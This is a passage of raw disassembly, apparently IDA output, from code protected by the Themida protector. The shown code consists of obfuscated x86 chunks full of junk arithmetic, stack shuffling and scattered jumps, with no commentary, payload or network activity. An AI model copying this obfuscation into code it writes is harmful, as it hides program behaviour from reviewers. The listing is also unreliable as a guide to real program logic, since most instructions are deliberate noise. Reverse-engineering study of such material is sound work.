loc_595F6D: ; CODE XREF: Themida_:005996A1j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edx
mov edx, 0
add edx, eax
push eax
mov eax, 0
add eax, edx
jmp loc_59FD31
; ---------------------------------------------------------------------------
loc_595F8E: ; CODE XREF: Themida_:005939FDj
inc edi
neg edi
inc edi
and edi, 467C5FCAh
add edi, 0FFFFFFFFh
jmp loc_599E03
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_595FA0: ; CODE XREF: sub_591554+2380j
and edx, ebp
pop ebp
xor edx, 23DA6D90h
add ebp, edx
mov edx, [esp+10h+var_10]
jmp loc_59990F
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_595FB3: ; CODE XREF: Themida_:0059D092j
add eax, ecx
jmp loc_5A2F8C
; ---------------------------------------------------------------------------
loc_595FBA: ; CODE XREF: Themida_:005A002Bj
push ecx
jmp loc_59FDE9
; ---------------------------------------------------------------------------
loc_595FC0: ; CODE XREF: Themida_:00594F36j
add esi, 0FFEC9800h
jmp loc_59758F
; ---------------------------------------------------------------------------
loc_595FCB: ; CODE XREF: Themida_:00592FFAj
add edx, edi
mov edi, [esp]
add esp, 4
add edx, ecx
jmp loc_5A1C96
; ---------------------------------------------------------------------------
loc_595FDA: ; CODE XREF: Themida_:0059C72Aj
inc ebp
not ebp
not ebp
add ebp, 408ED50Eh
push esi
push 75A6050Fh
pop esi
and esi, 0EDB64E2h
inc esi
push ecx
mov ecx, 39557ECFh
not ecx
add ecx, 79F43976h
sub ecx, 4C80BCEh
and ecx, 34263B29h
jmp loc_598B6D
; ---------------------------------------------------------------------------
loc_596012: ; CODE XREF: Themida_:0059C86Fj
push ebp
mov ebp, esp
jmp loc_5954CE
; ---------------------------------------------------------------------------
loc_59601A: ; DATA XREF: Themida_:0058E25Co
mov ax, fs:[edx]
push ecx
mov ecx, esp
add ecx, 4
push 768Dh
mov [esp], esi
push ebp
mov ebp, 2E98298Ah
sub ebp, 2E982988h
mov esi, ebp
pop ebp
sub ecx, esi
mov esi, [esp]
push 3DE0h
jmp loc_5A0256
; ---------------------------------------------------------------------------
loc_59604D: ; CODE XREF: Themida_:0059B47Bj
mov [esp], edi
sub esp, 4
mov [esp], edx
mov edx, 4
mov edi, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 7C564DBCh
add eax, edx
pop edx
add eax, edi
sub eax, 7C564DBCh
pop edi
add eax, 2
xor eax, [esp]
xor [esp], eax
jmp loc_59192B
; ---------------------------------------------------------------------------
loc_59608A: ; CODE XREF: Themida_:005A0011j
or cl, 0F9h
add cl, 1
push ebx
mov bh, 9Bh
sub bh, 9Ah
jmp loc_5A145E
; ---------------------------------------------------------------------------
loc_59609B: ; CODE XREF: Themida_:0059F08Fj
push 50A4h
mov [esp], ebp
mov ebp, 5EEC340Dh
xor ebp, 1CB34AA0h
jmp loc_59386F
; ---------------------------------------------------------------------------
loc_5960B3: ; CODE XREF: Themida_:005951D1j
add eax, 4
jmp loc_595A2C
; ---------------------------------------------------------------------------
loc_5960BD: ; CODE XREF: Themida_:0059830Dj
xor edi, 679B6DCCh
add ecx, edi
jmp loc_5A2638
; ---------------------------------------------------------------------------
loc_5960CA: ; CODE XREF: Themida_:0059F0DEj
pop ebp
jmp loc_5A1578
; ---------------------------------------------------------------------------
loc_5960D0: ; CODE XREF: Themida_:0059A156j
mov ebx, [esp]
push ebp
jmp loc_5A194C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_5960D9: ; CODE XREF: sub_5A1999-2A68j
pop esi
push edx
push [esp-8+arg_8]
pop edx
jmp loc_58EDC1
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_5960E5: ; CODE XREF: Themida_:0059C453j
sub bl, 7Ch
jmp loc_58FEE5
; ---------------------------------------------------------------------------
loc_5960ED: ; CODE XREF: Themida_:0059D9A9j
or eax, 75F26021h
add eax, 70AF67E4h
jmp loc_59D422
; ---------------------------------------------------------------------------
loc_5960FC: ; CODE XREF: Themida_:005A1927j
add eax, ebx
pop ebx
add eax, 2
xchg eax, [esp]
mov esp, [esp]
push ecx
push edx
mov dh, 0E8h
shr dh, 7
shl dh, 5
jmp loc_5A080C
; ---------------------------------------------------------------------------
loc_596119: ; CODE XREF: Themida_:0059782Bj
pop esp
add esp, 4
push ebx
mov ebx, 4
add eax, ebx
pop ebx
push edx
mov edx, 112721FEh
not edx
or edx, 3911ED4h
sub edx, 362C500Ch
jmp loc_59801D
; ---------------------------------------------------------------------------
loc_59613F: ; CODE XREF: Themida_:005928FBj
pop esp
push edi
jmp loc_596C0E
; ---------------------------------------------------------------------------
loc_596146: ; CODE XREF: Themida_:00592B38j
mov ebx, 4A20D72h
shl ebx, 3
xchg esi, ebx
not esi
xchg esi, ebx
jmp loc_5A31A8
; ---------------------------------------------------------------------------
loc_596159: ; CODE XREF: Themida_:0059DA99j
mov [esp], edx
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
push ebx
mov ebx, 18434EDDh
mov ebp, 5199B23Bh
add ebp, ebx
pop ebx
push ebx
push ecx
mov ecx, 12706A48h
add ecx, 0FFFFFFFFh
jmp loc_599030
; ---------------------------------------------------------------------------
loc_59618F: ; CODE XREF: Themida_:005A0ACEj
mov esi, [esp]
jmp loc_591ED0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_596197: ; CODE XREF: sub_59DA2F-49C8j
neg ebp
add ebp, 45633F79h
jmp loc_5980D4
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5961A4: ; CODE XREF: Themida_:0059D754j
add eax, ecx
pop ecx
sub eax, 32284F15h
push 4F0Fh
mov [esp], edx
jmp loc_59B62C
; ---------------------------------------------------------------------------
loc_5961B9: ; CODE XREF: Themida_:0059C80Aj
mov ebp, [esp]
jmp loc_592EDC
; ---------------------------------------------------------------------------
loc_5961C1: ; CODE XREF: Themida_:0058F211j
add esp, 4
sub eax, 0B8C4096Fh
add edx, eax
jmp loc_5A2C2F
; ---------------------------------------------------------------------------
loc_5961D0: ; CODE XREF: Themida_:0059E560j
push esp
mov eax, [esp]
add esp, 4
push ecx
mov ecx, 691D39A0h
add ecx, 96E2C664h
add eax, ecx
push dword ptr [esp]
jmp loc_58E8F5
; ---------------------------------------------------------------------------
loc_5961ED: ; CODE XREF: Themida_:0059088Bj
mov edx, 4
add ebp, edx
jmp loc_59D458
; ---------------------------------------------------------------------------
loc_5961F9: ; CODE XREF: Themida_:00595419j
idiv ecx
push 2044h
jmp loc_59B550
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591554
loc_596205: ; CODE XREF: sub_591554+717Dj
pop ebx
push 21DCh
mov [esp+0], eax
push esp
pop eax
jmp sub_596B96
; END OF FUNCTION CHUNK FOR sub_591554
; ---------------------------------------------------------------------------
loc_596215: ; CODE XREF: Themida_:0058FA01j
push 5639h
mov [esp], edi
jmp loc_59507C
; ---------------------------------------------------------------------------
loc_596222: ; CODE XREF: Themida_:0059844Bj
push 5BB3h
mov [esp], ebp
jmp loc_59E8B9
; ---------------------------------------------------------------------------
loc_59622F: ; CODE XREF: Themida_:005A2FCCj
mov [esp], ecx
jmp loc_59DFB3
; ---------------------------------------------------------------------------
loc_596237: ; CODE XREF: Themida_:0059458Dj
mov edi, 0A8F29395h
sub esi, edi
pop edi
jmp loc_58FD08
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_599AAA
; ---------------------------------------------------------------------------
loc_59624D: ; CODE XREF: Themida_:005A07D4j
xchg esi, [esp]
pop edi
jmp loc_5A07C2
; ---------------------------------------------------------------------------
loc_596256: ; CODE XREF: Themida_:005918F9j
mov ebx, 0BDC00D7h
and ebx, 35FB1D8Ch
jmp loc_59F863
; ---------------------------------------------------------------------------
loc_596266: ; CODE XREF: Themida_:0059232Cj
mov [esp], eax
mov eax, 2
add ecx, 3B680581h
add ecx, 5D752FF7h
add ecx, eax
sub ecx, 5D752FF7h
sub ecx, 3B680581h
pop eax
xchg ecx, [esp]
jmp loc_5A0793
; ---------------------------------------------------------------------------
loc_596291: ; CODE XREF: Themida_:00597B49j
push ecx
mov ch, 13h
jmp loc_59D226
; ---------------------------------------------------------------------------
loc_596299: ; CODE XREF: Themida_:0059C4C0j
pop ebp
xor ebp, 8F0D8251h
jmp loc_5A2BA6
; ---------------------------------------------------------------------------
loc_5962A5: ; CODE XREF: Themida_:005A16C9j
xor bl, al
movzx eax, al
mov dx, [esp]
push edx
jmp loc_59663E
; ---------------------------------------------------------------------------
loc_5962B4: ; CODE XREF: Themida_:005A0DD7j
push edx
jmp loc_5A08E6
; ---------------------------------------------------------------------------
loc_5962BA: ; CODE XREF: Themida_:00592EEDj
add ecx, 4
jmp loc_59C887
; ---------------------------------------------------------------------------
loc_5962C5: ; CODE XREF: Themida_:00590592j
mov esp, [esp]
jmp loc_595926
; ---------------------------------------------------------------------------
loc_5962CD: ; CODE XREF: Themida_:0059E590j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5962D2: ; CODE XREF: Themida_:0059A851j
mov [esp], ebx
push esp
pop ebx
push ebp
jmp loc_5A2A8A
; ---------------------------------------------------------------------------
loc_5962DD: ; CODE XREF: Themida_:005A0040j
push 3088h
mov [esp], esp
push 5193h
mov [esp], esi
jmp loc_591812
; ---------------------------------------------------------------------------
loc_5962F2: ; CODE XREF: Themida_:005916FDj
push esi
push eax
mov eax, 37D27BB4h
sub [esp+4], eax
pop eax
pop ebp
push ecx
mov ecx, 0B2B109Ah
jmp loc_595B52
; ---------------------------------------------------------------------------
loc_59630A: ; CODE XREF: Themida_:00597771j
pop edx
push edi
push esi
mov esi, 5FF536E9h
jmp loc_59C631
; ---------------------------------------------------------------------------
loc_596317: ; CODE XREF: Themida_:005934B3j
mov edx, 465822F2h
jmp loc_58EE71
; ---------------------------------------------------------------------------
loc_596321: ; CODE XREF: Themida_:0059BBA9j
add esi, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push eax
mov eax, 4
push 41F4h
jmp loc_5929E9
; ---------------------------------------------------------------------------
loc_596355: ; CODE XREF: Themida_:005A32C9j
push 4
pop ebp
add eax, ebp
pop ebp
push 456Bh
mov [esp], ecx
sub esp, 4
jmp loc_593759
; ---------------------------------------------------------------------------
loc_59636E: ; CODE XREF: Themida_:00592BD4j
push 77FAh
mov [esp], ebx
push 551Bh
mov [esp], edi
jmp loc_595C25
; ---------------------------------------------------------------------------
loc_596383: ; CODE XREF: Themida_:00597EE0j
push ecx
mov ch, 0CAh
mov bl, ch
mov ecx, [esp]
add esp, 4
add bl, 0FFh
shr bl, 1
xchg al, bl
not al
xchg al, bl
xor bl, 37h
not bl
sub bl, 0F4h
sub al, bl
jmp loc_592073
; ---------------------------------------------------------------------------
loc_5963AB: ; CODE XREF: Themida_:005A2538j
mov ebx, [esp]
push ebp
mov ebp, esp
push eax
mov eax, 4
jmp loc_591D88
; ---------------------------------------------------------------------------
loc_5963BC: ; CODE XREF: Themida_:0059508Dj
sub ecx, edi
add ecx, 55135673h
sub ecx, 64A0755Ch
pop edi
sub esp, 4
mov [esp], edi
jmp loc_59CD03
; ---------------------------------------------------------------------------
loc_5963D6: ; CODE XREF: Themida_:005927B6j
sub ebx, 45D670CCh
add ebx, esi
jmp loc_598187
; ---------------------------------------------------------------------------
loc_5963E3: ; CODE XREF: Themida_:00593CCAj
shl edi, 8
jmp loc_599957
; ---------------------------------------------------------------------------
loc_5963EB: ; CODE XREF: Themida_:0059E75Fj
push eax
mov eax, 0B9FC3A88h
sub edx, eax
pop eax
jmp loc_59E247
; ---------------------------------------------------------------------------
loc_5963F9: ; CODE XREF: Themida_:00596BDBj
pop eax
add edi, 768CC5DCh
xor edx, edi
pop edi
push edx
pop edi
pop edx
push edx
jmp loc_594FFE
; ---------------------------------------------------------------------------
loc_59640C: ; CODE XREF: Themida_:0059DDF3j
pop ebp
add ecx, edx
pop edx
push 68BBh
mov [esp], ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
mov ax, [esp]
jmp loc_5915FE
; ---------------------------------------------------------------------------
loc_59642A: ; CODE XREF: Themida_:00592696j
mov ebx, 4566381Eh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
mov edi, ebx
mov edx, edi
mov edi, [esp]
add esp, 4
pop ebx
xor edx, 2BD7614Ah
jmp loc_593973
; ---------------------------------------------------------------------------
loc_596458: ; CODE XREF: Themida_:00598C63j
pop eax
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
sub esp, 4
mov [esp], edx
push ecx
mov ch, al
jmp loc_5908A9
; ---------------------------------------------------------------------------
loc_596470: ; CODE XREF: Themida_:005935C3j
sub esp, 4
jmp loc_5980BA
; ---------------------------------------------------------------------------
loc_59647B: ; CODE XREF: Themida_:0059A6B5j
pop edx
jmp loc_59ED7C
; ---------------------------------------------------------------------------
loc_596481: ; CODE XREF: Themida_:00590922j
sub ebx, eax
pop eax
sub ebx, 24FF5D2Bh
add ebx, eax
add ebx, 24FF5D2Bh
push ebp
mov ebp, 727E4A32h
shr ebp, 6
add ebp, 0FFFFFFFFh
push edi
mov edi, 73337920h
not edi
neg edi
xor edi, 0B6B157Ah
xor ebp, edi
jmp loc_5968D0
; ---------------------------------------------------------------------------
dword_5964B8 dd 7BE968h, 0A4C3E900h db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5964C2: ; CODE XREF: Themida_:005A265Bj
push edx
mov dh, 0B5h
sub dh, 1
push ebx
mov bh, dh
not bh
mov dh, bh
pop ebx
not dh
jmp loc_5955F7
; ---------------------------------------------------------------------------
lodsb
jmp loc_5A000E
; ---------------------------------------------------------------------------
loc_5964DD: ; CODE XREF: Themida_:00590F16j
xor edx, esi
pop esi
push edi
mov edi, 2E6F6FBCh
or edx, edi
pop edi
sub edx, 0A8C980FDh
add esi, edx
pop edx
add esi, 340375DEh
push ebx
jmp loc_5A1480
; ---------------------------------------------------------------------------
loc_5964FE: ; CODE XREF: Themida_:0059411Bj
push esi
xchg ebx, [esp]
jmp loc_59BC26
; ---------------------------------------------------------------------------
loc_596507: ; CODE XREF: Themida_:0059A517j
pop ebx
add eax, 7A16229Fh
jmp loc_599396
; ---------------------------------------------------------------------------
loc_596512: ; CODE XREF: Themida_:00590145j
mov edx, 31C0623Fh
inc edx
shr edx, 6
jmp loc_5A2106
; ---------------------------------------------------------------------------
loc_596520: ; CODE XREF: Themida_:0058F553j
pop edx
mov edi, [esp]
add esp, 4
not edi
push edx
push edi
pop edx
pop edi
push esi
jmp loc_59FC5B
; ---------------------------------------------------------------------------
loc_596536: ; CODE XREF: Themida_:0059AE76j
add ebx, 1
shr ebx, 6
xor ebx, 0B6DCE62h
mov esi, ebx
jmp loc_594D40
; ---------------------------------------------------------------------------
loc_596549: ; CODE XREF: Themida_:005921EFj
and ebp, 2D162C3Dh
xor ebp, 0C4C16138h
add eax, ebp
pop ebp
add edi, eax
mov eax, [esp]
add esp, 4
push edi
jmp loc_59331D
; ---------------------------------------------------------------------------
loc_596566: ; CODE XREF: Themida_:0059131Cj
mov ecx, [esp]
add esp, 4
jmp loc_598399
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_596574: ; CODE XREF: sub_59DA2F-C882j
push eax
jmp loc_58FA14
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59657A: ; CODE XREF: Themida_:00590CC8j
push dword ptr [esp]
jmp loc_592B20
; ---------------------------------------------------------------------------
loc_596582: ; CODE XREF: Themida_:0058E5A5j
push 1ABBh
mov [esp], eax
mov eax, 44E20A34h
xor eax, 2D1D572Bh
inc eax
jmp loc_59F08C
; ---------------------------------------------------------------------------
loc_59659A: ; CODE XREF: Themida_:00595F5Aj
add edi, 5CB04BEDh
mov eax, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_592DEA
; ---------------------------------------------------------------------------
loc_5965B8: ; CODE XREF: Themida_:0059473Ej
mov [esp], eax
mov eax, 64EC431Dh
dec eax
shr eax, 7
jmp loc_59964E
; ---------------------------------------------------------------------------
loc_5965C9: ; CODE XREF: Themida_:0059F0B3j
pop ebx
xor ebx, 787B30DBh
shr ebx, 8
shr ebx, 7
sub ebx, 451Eh
mov ecx, ebx
jmp loc_59D1ED
; ---------------------------------------------------------------------------
loc_5965E3: ; CODE XREF: Themida_:0059C8A4j
add edx, 5EE7084Dh
push dword ptr [esp]
pop esi
add esp, 4
add edx, ebx
add edx, 56014C85h
pop ebx
push ebx
mov ebx, 4
add edx, ebx
mov ebx, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], esi
mov esi, esp
push edx
jmp loc_595930
; ---------------------------------------------------------------------------
loc_596628: ; CODE XREF: Themida_:0059D453j
add ebx, esi
pop esi
add eax, ebx
pop ebx
xor ebx, eax
pop eax
mov ecx, [esp]
add esp, 4
xor ebx, edx
jmp loc_594A74
; ---------------------------------------------------------------------------
loc_59663E: ; CODE XREF: Themida_:005962AFj
mov edx, esp
add edx, 4
sub edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
jmp loc_595A56
; ---------------------------------------------------------------------------
loc_59665A: ; CODE XREF: Themida_:0059BDFFj
pop edx
sub bl, 1
jmp loc_5A2DDB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A1999
loc_596663: ; CODE XREF: sub_5A1999-ABBAj
add ebp, 4
xchg ebp, [esp-8+arg_4]
jmp loc_593BE6
; END OF FUNCTION CHUNK FOR sub_5A1999
; ---------------------------------------------------------------------------
loc_59666E: ; CODE XREF: Themida_:00590799j
xor [esp], ecx
xor ecx, [esp]
jmp loc_59F517
; ---------------------------------------------------------------------------
loc_596679: ; CODE XREF: Themida_:005913ABj
sub ebx, edi
pop edi
jmp loc_59A6D9
; ---------------------------------------------------------------------------
loc_596681: ; CODE XREF: Themida_:0058EEBCj
push edx
mov edx, 24h
add edx, 2B747846h
add edx, edi
jmp loc_5A05F0
; ---------------------------------------------------------------------------
loc_596694: ; CODE XREF: Themida_:0058E481j
mov [esp], ebp
mov ebp, esp
add ebp, 4
sub esp, 4
jmp loc_5959C7
; ---------------------------------------------------------------------------
loc_5966A7: ; CODE XREF: Themida_:0058FF7Bj
xchg ecx, [esp]
jmp loc_593D84
; ---------------------------------------------------------------------------
loc_5966AF: ; CODE XREF: Themida_:0059720Dj
mov [esp], eax
push 4
jmp loc_5A2F56
; ---------------------------------------------------------------------------
loc_5966BC: ; CODE XREF: Themida_:0059276Ej
push 3F18h
mov [esp], ebp
push 55212295h
pop ebp
inc ebp
shl ebp, 7
sub ebp, 90914AFCh
push ecx
jmp loc_5A0D68
; ---------------------------------------------------------------------------
loc_5966DA: ; CODE XREF: Themida_:0059E4A6j
push 4B881F3Bh
pop edi
dec edi
sub edi, 6A872673h
jmp loc_5946D2
; ---------------------------------------------------------------------------
loc_5966EC: ; CODE XREF: Themida_:005A32E5j
or edi, 50D050C5h
push esi
mov esi, 42F27D4Bh
xor edi, esi
pop esi
or edi, 0ECF36EAh
push eax
mov eax, 0D9CC75E3h
xor edi, eax
pop eax
and eax, edi
pop edi
xor eax, 6E9D64FFh
add eax, 0F0223C22h
sub edi, eax
pop eax
add edi, edx
add edi, 1CC1621Ch
push dword ptr [esp]
pop edx
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
ror byte ptr [esp], cl
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59673C: ; CODE XREF: Themida_:005A1B3Aj
sub ecx, ebx
push eax
jmp loc_59CCA2
; ---------------------------------------------------------------------------
loc_596744: ; CODE XREF: Themida_:0058EEDCj
push eax
mov eax, 246F1A16h
jmp loc_590A6D
; ---------------------------------------------------------------------------
loc_59674F: ; CODE XREF: Themida_:005A2517j
sub esp, 4
mov [esp], ebx
mov ebx, 4D642858h
shr ebx, 8
xor ebx, 48156214h
jmp loc_59AD15
; ---------------------------------------------------------------------------
loc_596768: ; CODE XREF: Themida_:00590994j
push 1117h
jmp loc_591210
; ---------------------------------------------------------------------------
loc_596772: ; CODE XREF: Themida_:0059792Dj
push 20E5h
mov [esp], ecx
pop dword ptr [eax]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_596781: ; CODE XREF: Themida_:005A148Aj
pop esi
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ecx
mov ecx, 7DC00001h
jmp loc_5A3273
; ---------------------------------------------------------------------------
loc_596796: ; CODE XREF: Themida_:005913CFj
pop ebp
pop ecx
xchg edi, [esp]
jmp loc_595725
; ---------------------------------------------------------------------------
loc_5967A0: ; CODE XREF: Themida_:005913D6j
add bl, 0F8h
push eax
mov ah, 50h
and bl, ah
pop eax
dec bl
not bl
xor bl, 3Dh
and ah, bl
pop ebx
add ah, 0CAh
xor ah, 0E6h
or ah, 0A5h
jmp loc_59E875
; ---------------------------------------------------------------------------
loc_5967C1: ; CODE XREF: Themida_:0059E612j
add ax, 2D84h
sub ax, 537Fh
sub esp, 4
mov [esp], ecx
mov cx, 422Eh
shl cx, 2
sub cx, 1
push ebx
push small 2777h
pop bx
push edx
mov dx, 48C4h
jmp loc_5A269D
; ---------------------------------------------------------------------------
loc_5967ED: ; CODE XREF: Themida_:005A00DAj
add esi, 4
sub esi, 4
jmp loc_594BF1
; ---------------------------------------------------------------------------
loc_5967FE: ; CODE XREF: Themida_:0058F989j
pop eax
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp]
pop eax
jmp loc_591B02
; ---------------------------------------------------------------------------
loc_596814: ; CODE XREF: Themida_:005A2D62j
sub edx, ecx
pop ecx
jmp loc_59363D
; ---------------------------------------------------------------------------
loc_59681C: ; CODE XREF: Themida_:0059F1B2j
pop ecx
push edx
mov edx, 4C106337h
add eax, edx
jmp loc_59F094
; ---------------------------------------------------------------------------
loc_59682A: ; CODE XREF: Themida_:00591328j
or eax, ebx
jmp loc_597C13
; ---------------------------------------------------------------------------
loc_596831: ; CODE XREF: Themida_:005A1057j
add edi, 57DB22AAh
sub esp, 4
mov [esp], ecx
mov ecx, 2FC81F53h
add edi, ecx
mov ecx, [esp]
jmp loc_58E724
; ---------------------------------------------------------------------------
loc_59684F: ; CODE XREF: Themida_:005A0656j
add esp, 4
pop dword ptr [esp]
pop esp
mov dx, [esp]
push 6CDDh
mov [esp], edi
push esp
pop edi
jmp loc_59118C
; ---------------------------------------------------------------------------
loc_596869: ; CODE XREF: Themida_:005A0C03j
push ebx
mov ebx, 0C216D5Fh
add ebx, 1
push edx
jmp loc_58E6E9
; ---------------------------------------------------------------------------
loc_596878: ; CODE XREF: Themida_:005917B6j
mov esp, [esp]
add ebx, 4
push ecx
mov ecx, 4
sub ebx, ecx
jmp loc_5A0683
; ---------------------------------------------------------------------------
loc_59688E: ; CODE XREF: Themida_:005A2CDCj
add edx, 72256AB8h
sub edx, 1E992F09h
sub edx, ebp
add edx, 1E992F09h
sub edx, 72256AB8h
mov ebp, [esp]
add esp, 4
push dword ptr [esp]
pop edi
add esp, 4
xchg edx, [esp]
jmp loc_59ACD0
; ---------------------------------------------------------------------------
loc_5968C0: ; CODE XREF: Themida_:00598E27j
mov [esp], ebp
mov ebp, 54B61722h
shl ebp, 2
jmp loc_59BFF6
; ---------------------------------------------------------------------------
loc_5968D0: ; CODE XREF: Themida_:005964B3j
pop edi
add ebp, 371617D3h
jmp loc_59288C
; ---------------------------------------------------------------------------
loc_5968DC: ; CODE XREF: Themida_:005A147Bj
sub ebp, 74CA771Dh
add ebp, 26254E69h
mov ecx, [esp]
add esp, 4
add ebp, edi
sub ebp, 1BAA1631h
pop edi
push ecx
jmp loc_5971C2
; ---------------------------------------------------------------------------
loc_5968FD: ; CODE XREF: Themida_:005956D0j
xor [esp], ebp
jmp loc_5A259E
; ---------------------------------------------------------------------------
loc_596905: ; CODE XREF: Themida_:0059A11Aj
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
sub esp, 4
mov [esp], eax
jmp loc_59F6EF
; ---------------------------------------------------------------------------
loc_596920: ; DATA XREF: Themida_:0058E0A4o
push 3DA7h
mov [esp], ebp
sub esp, 4
mov [esp], ebx
push edi
push 6FE309ECh
pop edi
add edi, 0DAEA511Eh
mov ebx, edi
mov edi, [esp]
add esp, 4
push esi
push 2E2C1CF7h
pop esi
or esi, 334F77AAh
neg esi
push edi
mov edi, 4E39095Fh
not edi
sub edi, 0C5228147h
xor esi, edi
pop edi
mov ebp, esi
pop esi
sub ebp, 67704460h
add ebp, ebx
jmp loc_58E3AB
; ---------------------------------------------------------------------------
loc_596973: ; CODE XREF: Themida_:0059D6DEj
xor dh, 60h
push ebx
mov bl, dh
mov ah, bl
pop ebx
mov edx, [esp]
add esp, 4
sub ah, 0Ch
and bh, ah
pop eax
sub esp, 4
mov [esp], eax
jmp loc_59FB0F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_596993: ; CODE XREF: sub_59233E-211Cj
add ebp, 4
sub ebp, 4
jmp loc_594794
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_5969A4: ; CODE XREF: Themida_:0059E61Dj
xor cl, 1Ch
add cl, 3Ch
sub cl, bh
sub cl, 3Ch
mov ebx, [esp]
add esp, 4
xor cl, 7Ch
push 3C51h
mov [esp], eax
mov al, 1Eh
jmp loc_59F575
; ---------------------------------------------------------------------------
loc_5969CA: ; CODE XREF: Themida_:00596B91j
xor ebp, [esp]
pop esp
add edi, 4
push edx
jmp loc_5A32CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5969DA: ; CODE XREF: sub_59DA2F-1148j
sub edi, 2
xchg edi, [esp+0]
mov esp, [esp+0]
mov [esp+0], cx
jmp loc_58E66F
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5969EF: ; CODE XREF: Themida_:005950A9j
mov eax, 522D267Ch
add edi, eax
jmp loc_599C7E
; ---------------------------------------------------------------------------
loc_5969FB: ; CODE XREF: Themida_:00592D48j
push 54D8h
jmp loc_591CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F235
loc_596A05: ; CODE XREF: sub_59F235-35A0j
xor [esp+4+var_4], ebp
jmp loc_5A1563
; END OF FUNCTION CHUNK FOR sub_59F235
; ---------------------------------------------------------------------------
loc_596A0D: ; CODE XREF: Themida_:0059FBBEj
add cl, 0FFh
sub cl, 4
jmp loc_59CD2D
; ---------------------------------------------------------------------------
loc_596A18: ; CODE XREF: Themida_:00595A8Bj
sub esp, 4
mov [esp], edx
push 699Eh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5989AA
; ---------------------------------------------------------------------------
loc_596A2F: ; CODE XREF: Themida_:0059E596j
inc cl
sub esp, 4
jmp loc_5945B0
; ---------------------------------------------------------------------------
loc_596A3C: ; CODE XREF: Themida_:0059BC28j
not esi
xchg esi, ebx
xchg ebx, [esp]
mov esi, [esp]
add esp, 4
push eax
mov eax, 9D6A07AEh
xor esi, eax
pop eax
mov ecx, esi
pop esi
jmp loc_59379D
; ---------------------------------------------------------------------------
loc_596A5A: ; CODE XREF: Themida_:00590101j
push 6227h
jmp loc_58F036
; ---------------------------------------------------------------------------
loc_596A64: ; CODE XREF: Themida_:0059DB6Fj
xchg edi, esi
jmp loc_59D6BA
; ---------------------------------------------------------------------------
loc_596A6B: ; CODE XREF: Themida_:0058FA65j
or edi, 6AB50FA5h
push ebx
jmp loc_59BBCB
; ---------------------------------------------------------------------------
loc_596A77: ; CODE XREF: Themida_:005A27F7j
mov ebx, 296D46A6h
push 58DCh
mov [esp], edi
mov edi, 728446DBh
add ebx, edi
pop edi
shr ebx, 3
push esi
mov esi, 46CD0AEBh
xor esi, 6C250567h
jmp loc_592D65
; ---------------------------------------------------------------------------
loc_596AA0: ; CODE XREF: Themida_:00590861j
push ebp
mov ebp, 16BE01FCh
jmp loc_59F37E
; ---------------------------------------------------------------------------
loc_596AAB: ; CODE XREF: Themida_:00599AABj
mov ecx, esp
push edx
jmp loc_59F7CA
; ---------------------------------------------------------------------------
loc_596AB3: ; CODE XREF: Themida_:0059DE15j
pop esp
sub al, bl
push small 6064h
mov [esp], dx
mov dl, 0B9h
add al, 0C9h
add al, dl
sub al, 0C9h
jmp loc_59500D
; ---------------------------------------------------------------------------
loc_596ACB: ; CODE XREF: Themida_:00591956j
mov [esp], ebx
jmp loc_59831D
; ---------------------------------------------------------------------------
loc_596AD3: ; CODE XREF: Themida_:0059B7CEj
push esp
pop ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
jmp loc_594B5F
; ---------------------------------------------------------------------------
loc_596AE9: ; CODE XREF: Themida_:005A1285j
sub ebx, edx
pop edx
pop eax
push esi
mov esi, 66A123AAh
xor esi, 1D9C4402h
add ebx, esi
pop esi
dec ebx
xor ebx, 9C2D6C00h
jmp loc_595150
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], ebx
mov ebx, 4
push ebp
mov ebp, 1A510C6Bh
and ebp, 28C07105h
push eax
